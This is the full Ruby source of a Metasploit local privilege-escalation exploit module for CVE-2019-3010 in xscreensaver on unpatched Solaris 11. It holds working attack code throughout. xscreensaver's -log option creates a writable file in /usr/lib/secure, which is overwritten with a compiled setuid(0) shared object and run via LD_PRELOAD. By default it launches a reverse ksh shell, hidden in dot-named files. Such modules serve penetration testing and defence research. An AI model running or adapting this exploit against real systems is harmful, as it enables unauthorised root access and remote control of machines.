This Metasploit module exploits a vulnerability in xscreensaver versions since 5.06 on unpatched Solaris 11 systems which allows users to gain root privileges. xscreensaver allows users to create a user-owned file at any location on the filesystem using the -log command line argument introduced in version 5.06. This module uses xscreensaver to create a log file in /usr/lib/secure/, overwrites the log file with a shared object, and executes the shared object using the LD_PRELOAD environment variable. This module has been tested successfully on xscreensaver version 5.15 on Solaris 11.1 (x86) and xscreensaver version 5.15 on Solaris 11.3 (x86).
6839e7bec0a8edd74031049d0e2ff4f0
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Solaris::Priv
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris xscreensaver log Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in `xscreensaver` versions
since 5.06 on unpatched Solaris 11 systems which allows users
to gain root privileges.
`xscreensaver` allows users to create a user-owned file at any
location on the filesystem using the `-log` command line argument
introduced in version 5.06.
This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,
overwrites the log file with a shared object, and executes the shared
object using the `LD_PRELOAD` environment variable.
This module has been tested successfully on:
xscreensaver version 5.15 on Solaris 11.1 (x86); and
xscreensaver version 5.15 on Solaris 11.3 (x86).
},
'References' =>
[
['CVE', '2019-3010'],
['EDB', '47509'],
['URL', 'https://seclists.org/fulldisclosure/2019/Oct/39'],
['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver'],
['URL', 'https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/'],
['URL', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html']
],
'Notes' => { 'AKA' => ['raptor_xscreensaver'] },
'License' => MSF_LICENSE,
'Author' =>
[
'Marco Ivaldi', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2019-10-16',
'Privileged' => true,
'Platform' => ['solaris', 'unix'],
'Arch' => [ARCH_CMD],
'Targets' => [['Auto', {}]],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_ksh',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptString.new('XSCREENSAVER_PATH', [true, 'Path to xscreensaver executable', '/usr/bin/xscreensaver']),
OptString.new('XORG_PATH', [true, 'Path to Xorg executable', '/usr/bin/Xorg'])
]
register_advanced_options [
OptString.new('Xdisplay', [true, 'Display to use if starting a new Xorg session', ':1']),
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def xscreensaver_path
datastore['XSCREENSAVER_PATH']
end
def xorg_path
datastore['XORG_PATH']
end
def mkdir(path)
vprint_status "Creating directory '#{path}'"
cmd_exec "mkdir -p '#{path}'"
register_dir_for_cleanup path
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_compile(path, data)
upload "#{path}.c", data
output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
register_file_for_cleanup path
end
def check
unless setuid? xscreensaver_path
vprint_error "#{xscreensaver_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{xscreensaver_path} is setuid"
unless has_gcc?
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
vprint_good 'gcc is installed'
xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d\.]+)/).flatten.first
if xscreensaver_version.to_s.eql? ''
vprint_error 'Could not determine xscreensaver version'
return CheckCode::Detected
end
# Bug introduced in version 5.06. Patched in version <~ 5.42.
unless Gem::Version.new(xscreensaver_version).between?(Gem::Version.new('5.06'), Gem::Version.new('5.41'))
vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"
CheckCode::Appears
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
# Set display
display = cmd_exec 'echo $DISPLAY'
kill_xorg = false
if display.to_s.blank?
display = datastore['Xdisplay']
print_status "Starting Xorg on display #{display} ..."
cmd_exec "#{xorg_path} #{display} & echo "
kill_xorg = true
else
print_status "Using Xorg display #{display} ..."
end
# Create writable log file in /usr/lib/secure/
lib_name = rand_text_alphanumeric 5..10
if cmd_exec("/usr/bin/file #{xscreensaver_path}").to_s.include? 'ELF 64-bit'
secure_path = "/usr/lib/secure/64/"
else
secure_path = "/usr/lib/secure/"
end
lib_path = "#{secure_path}#{lib_name}.so"
print_status "Creating log file #{lib_path} ..."
cmd_exec "umask 0; DISPLAY=#{display} #{xscreensaver_path} -display #{display} -log #{lib_path} & echo "
Rex.sleep(5)
cmd_exec 'pkill -U `whoami` -n xscreensaver'
if kill_xorg
cmd_exec 'pkill -U `whoami` -n Xorg'
end
unless writable? lib_path
fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}"
end
register_file_for_cleanup lib_path
# Upload and compile shared object
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
mkdir base_path
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_path}/#{payload_name}"
so = <<-EOF
#include <unistd.h>
void __attribute__((constructor)) cons() {
setuid(0);
setgid(0);
unlink("#{lib_path}");
execle("#{payload_path}", "", NULL, NULL);
_exit(0);
}
EOF
so_name = ".#{rand_text_alphanumeric 5..10}"
so_path = "#{base_path}/#{so_name}"
upload_and_compile so_path, so
# Overwrite newly created log file with compiled shared object
vprint_status "Writing shared object to #{lib_path}"
cmd_exec "cp '#{so_path}' '#{lib_path}'"
# Upload and execute payload
if payload.arch.first.to_s == 'cmd'
upload payload_path, "#!/bin/sh\n#{payload.encoded}"
else
upload payload_path, generate_payload_exe
end
chmod payload_path
print_status 'Executing payload...'
cmd_exec "LD_PRELOAD=#{lib_path} #{xscreensaver_path} --help & echo "
end
end